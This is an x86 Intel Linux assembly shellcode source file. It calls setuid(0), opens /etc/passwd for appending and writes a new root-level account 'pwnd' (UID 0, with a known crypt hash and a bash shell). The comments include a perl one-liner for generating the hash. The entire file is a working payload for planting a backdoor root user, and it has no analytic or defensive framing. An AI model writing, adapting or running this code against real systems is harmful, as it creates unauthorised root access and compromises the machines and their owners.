; x86 Intel Linux Assembly
; Writes new user 'pwnd' to /etc/passwd with the password '1a2b3c4d'
; Generate hash with perl: perl -le 'print crypt("1a2b3c4d", "root")'
; Line to write: 'pwnd:roXZRtEhJnId2:0:0::/root:/bin/bash\n'

section .text
global _start

_start:
	xor ebx, ebx		; null ebx (0)
	mul ebx			; mul ebx (eax, ebx, edx = 0)
	mov al, 0x17		; move setuid syscall number into al (eax)
	int 0x80		; call setuid

	mov al, 0x05		; move open syscall number into al (eax)
	push ebx		; push null terminator
	push 0x64777373		; push "sswd"
	push 0x61702f63		; push "c/pa"
	push 0x74652f2f		; push "//et"
	mov ebx, esp		; move pointer to "//etc/passwd" into ebx
	mov cx, 0x401		; move 0x401 into cx (APPEND | WRITE ONLY)
	int 0x80		; call open

	mov ebx, eax		; move file-descriptor from eax into ebx
	xor ecx, ecx		; null ecx (0)

	push ecx		; push null terminator
	push 0x0a687361		; push "ash\n"
	push 0x622f6e69		; push "in/b"
	push 0x622f3a74		; push "t:/b"
	push 0x6f6f722f		; push "/roo"
	push 0x3a3a303a		; push ":0::"
	push 0x303a3264		; push "d2:0"
	push 0x496e4a68		; push "hJnI"
	push 0x4574525a		; push "ZRtE"
	push 0x586f723a		; push ":roX"
	push 0x646e7770		; push "pwnd"
	mov ecx, esp		; move pointer to new user string into ecx

	xor eax, eax		; null eax (0)
	mov al, 0x04		; move write syscall number into al (eax)
	mov dl, 40		; move 40 (40 bytes) into dl
	int 0x80		; call write

	xor eax, eax		; null eax (0)
	mov al, 0x06		; move close syscall number into al (eax)
	int 0x80		; call close

	xor ebx, ebx		; null ebx (0)
	mul ebx			; eax, ebx, edx = 0
	inc eax			; increment eax = 1 (exit syscall number)
	int 0x80		; call exit